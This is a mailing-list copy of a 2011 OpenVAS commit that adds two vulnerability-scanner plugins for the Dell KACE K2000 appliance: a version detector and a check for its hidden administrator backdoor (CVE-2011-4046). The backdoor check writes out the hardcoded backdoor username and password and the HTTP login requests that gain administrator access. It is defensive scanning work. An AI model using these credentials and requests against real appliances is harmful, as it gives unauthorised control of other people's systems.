[Openvas-commits] r12107 - in trunk/openvas-plugins: . scripts

scm-commit@wald.intevation.org scm-commit at wald.intevation.org
Fri Nov 11 14:36:19 CET 2011


Author: mime
Date: 2011-11-11 14:36:11 +0100 (Fri, 11 Nov 2011)
New Revision: 12107

Added:
   trunk/openvas-plugins/scripts/gb_dell_kace_2000_backdoor.nasl
   trunk/openvas-plugins/scripts/gb_dell_kace_2000_web_detect.nasl
Modified:
   trunk/openvas-plugins/ChangeLog
Log:
Added new plugins

Modified: trunk/openvas-plugins/ChangeLog
===================================================================
--- trunk/openvas-plugins/ChangeLog	2011-11-11 11:06:29 UTC (rev 12106)
+++ trunk/openvas-plugins/ChangeLog	2011-11-11 13:36:11 UTC (rev 12107)
@@ -1,3 +1,9 @@
+2011-11-11  Michael Meyer <michael.meyer at greenbone.net>
+
+	* scripts/gb_dell_kace_2000_backdoor.nasl,
+	scripts/gb_dell_kace_2000_web_detect.nasl:
+	Added new plugins.
+
 2011-11-10  Henri Doreau <henri.doreau at greenbone.net>
 
 	* scripts/GSHB/GSHB_Read_Apache_Customlogfile.nasl,

Added: trunk/openvas-plugins/scripts/gb_dell_kace_2000_backdoor.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_dell_kace_2000_backdoor.nasl	2011-11-11 11:06:29 UTC (rev 12106)
+++ trunk/openvas-plugins/scripts/gb_dell_kace_2000_backdoor.nasl	2011-11-11 13:36:11 UTC (rev 12107)
@@ -0,0 +1,114 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Dell KACE K2000 Backdoor
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+if (description)
+{
+ script_id(103318);
+ script_cve_id("CVE-2011-4046");
+ script_version ("$Revision$");
+
+ script_name("Dell KACE K2000 Backdoor");
+
+desc = "Overview:
+The Dell KACE K2000 System Deployment Appliance contains a hidden
+administrator account that allow a remote attacker to take
+control of an affected device. 
+
+References:
+http://www.kb.cert.org/vuls/id/135606
+http://www.kace.com/support/kb/index.php?action=artikel&id=1120&artlang=en";
+
+ script_tag(name:"risk_factor", value:"High");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2011-11-11 11:42:28 +0100 (Fri, 11 Nov 2011)");
+ script_description(desc);
+ script_summary("Determine if remote KACE K2000 System is vulnerable");
+ script_category(ACT_ATTACK);
+ script_family("Web application abuses");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("gb_dell_kace_2000_web_detect.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+include("http_func.inc");
+include("host_details.inc");
+include("http_keepalive.inc");
+   
+port = get_http_port(default:80);
+if(!get_port_state(port))exit(0);
+
+if(! get_kb_item("www/" + port + "/dell_kace_version") )exit(0);
+
+url = "/";
+req = http_get(item:url, port:port);
+buf = http_keepalive_send_recv(port:port, data:req, bodyonly:FALSE);
+if( buf == NULL ) exit(0);;
+
+session_id = eregmatch(pattern:"Set-Cookie: (kboxid=[^;]+)",string:buf);
+if(isnull(session_id[1]))exit(0);
+sess = session_id[1];
+
+up = "kbox1248163264128256";
+url = "/_login";
+host = get_host_name();
+
+ex = string("LOGIN_NAME=",up,"&LOGIN_PASSWORD=",up,"&save=Login");
+
+req = string(
+	     "POST ", url, " HTTP/1.1\r\n",
+	     "Host: ", host,"\r\n",
+	     "Content-Type: application/x-www-form-urlencoded;\r\n",
+	     "Connection: Close\r\n",
+	     "Cookie: ",sess,"\r\n",
+	     "Content-Length: ",strlen(ex),"\r\n",
+	     "\r\n",
+	     ex
+	     );
+
+res = http_send_recv(port:port, data:req);
+
+if(res =~ "HTTP/1.. 30") {
+
+  loc = "/tasks";
+  req = string(
+  	       "GET ", loc , " HTTP/1.1\r\n",
+	       "Host: ", host,"\r\n",
+	       "Cookie: ",sess,"\r\n",
+  	       "Connection: Keep-Alive\r\n\r\n"
+              );
+
+  res = http_send_recv(port:port, data:req);
+
+  if("Logged in as: kbox" >< res && "Log Out" >< res) {
+    security_hole(port:port);
+    exit(0);
+  }  
+
+}
+
+exit(0);


Property changes on: trunk/openvas-plugins/scripts/gb_dell_kace_2000_backdoor.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision Date

Added: trunk/openvas-plugins/scripts/gb_dell_kace_2000_web_detect.nasl
===================================================================
--- trunk/openvas-plugins/scripts/gb_dell_kace_2000_web_detect.nasl	2011-11-11 11:06:29 UTC (rev 12106)
+++ trunk/openvas-plugins/scripts/gb_dell_kace_2000_web_detect.nasl	2011-11-11 13:36:11 UTC (rev 12107)
@@ -0,0 +1,102 @@
+###############################################################################
+# OpenVAS Vulnerability Test
+# $Id$
+#
+# Dell KACE K2000 Detection
+#
+# Authors:
+# Michael Meyer <michael.meyer at greenbone.net>
+#
+# Copyright:
+# Copyright (c) 2011 Greenbone Networks GmbH
+#
+# This program is free software; you can redistribute it and/or modify
+# it under the terms of the GNU General Public License version 2
+# (or any later version), as published by the Free Software Foundation.
+#
+# This program is distributed in the hope that it will be useful,
+# but WITHOUT ANY WARRANTY; without even the implied warranty of
+# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
+# GNU General Public License for more details.
+#
+# You should have received a copy of the GNU General Public License
+# along with this program; if not, write to the Free Software
+# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
+###############################################################################
+
+# need desc here to modify it later in script.
+desc = "Overview:
+The web interface for the  Dell KACE K2000 is running at this Host.
+
+See also:
+http://www.kace.com/products/systems-deployment-appliance";
+
+if (description)
+{
+ 
+ script_tag(name:"risk_factor", value:"None");
+ script_id(103317);
+ script_version ("$Revision$");
+ script_tag(name:"last_modification", value:"$Date$");
+ script_tag(name:"creation_date", value:"2011-11-11 10:17:05 +0100 (Fri, 11 Nov 2011)");
+ script_name("Dell KACE K2000 Detection");
+ script_description(desc);
+ script_summary("Checks for the presence of Dell KACE K2000");
+ script_category(ACT_GATHER_INFO);
+ script_family("Service detection");
+ script_copyright("This script is Copyright (C) 2011 Greenbone Networks GmbH");
+ script_dependencies("find_service.nes", "http_version.nasl");
+ script_require_ports("Services/www", 80);
+ script_exclude_keys("Settings/disable_cgi_scanning");
+ exit(0);
+}
+
+SCRIPT_OID  = "1.3.6.1.4.1.25623.1.0.103317";
+SCRIPT_DESC = "Dell KACE K2000 Detection";
+
+include("http_func.inc");
+include("http_keepalive.inc");
+include("global_settings.inc");
+include("host_details.inc");
+include("cpe.inc");
+
+port = get_http_port(default:80);
+
+if(!get_port_state(port))exit(0);
+
+banner = get_http_banner(port:port);
+if(!banner)exit(0);
+
+
+ if(egrep(pattern: "X-KACE-Version:", string: banner, icase: TRUE))
+ {
+
+    vers = string("unknown");
+    ### try to get version 
+    version = eregmatch(string: banner, pattern: "X-KACE-Version: ([0-9.]+)",icase:TRUE);
+
+    if ( !isnull(version[1]) ) {
+       vers=chomp(version[1]);
+    }
+
+    set_kb_item(name: string("www/", port, "/dell_kace_version"), value: string(vers));
+
+    cpe = build_cpe(value:vers, exp:"^([0-9.]+)", base:"cpe:/h:dell:kace_k2000_systems_deployment_appliance:");
+    if(!isnull(cpe))
+      register_host_detail(name:"App", value:cpe, nvt:SCRIPT_OID, desc:SCRIPT_DESC);
+
+    info = string("\n\nDell KACE K2000 Version '");
+    info += string(vers);
+    info += string("' was detected on the remote host.\n\n");
+
+    desc = desc + info;
+
+       if(report_verbosity > 0) {
+         security_note(port:port,data:desc);
+       }
+       exit(0);
+
+ }
+
+exit(0);
+


Property changes on: trunk/openvas-plugins/scripts/gb_dell_kace_2000_web_detect.nasl
___________________________________________________________________
Name: svn:keywords
   + Id Revision Date



More information about the Openvas-commits mailing list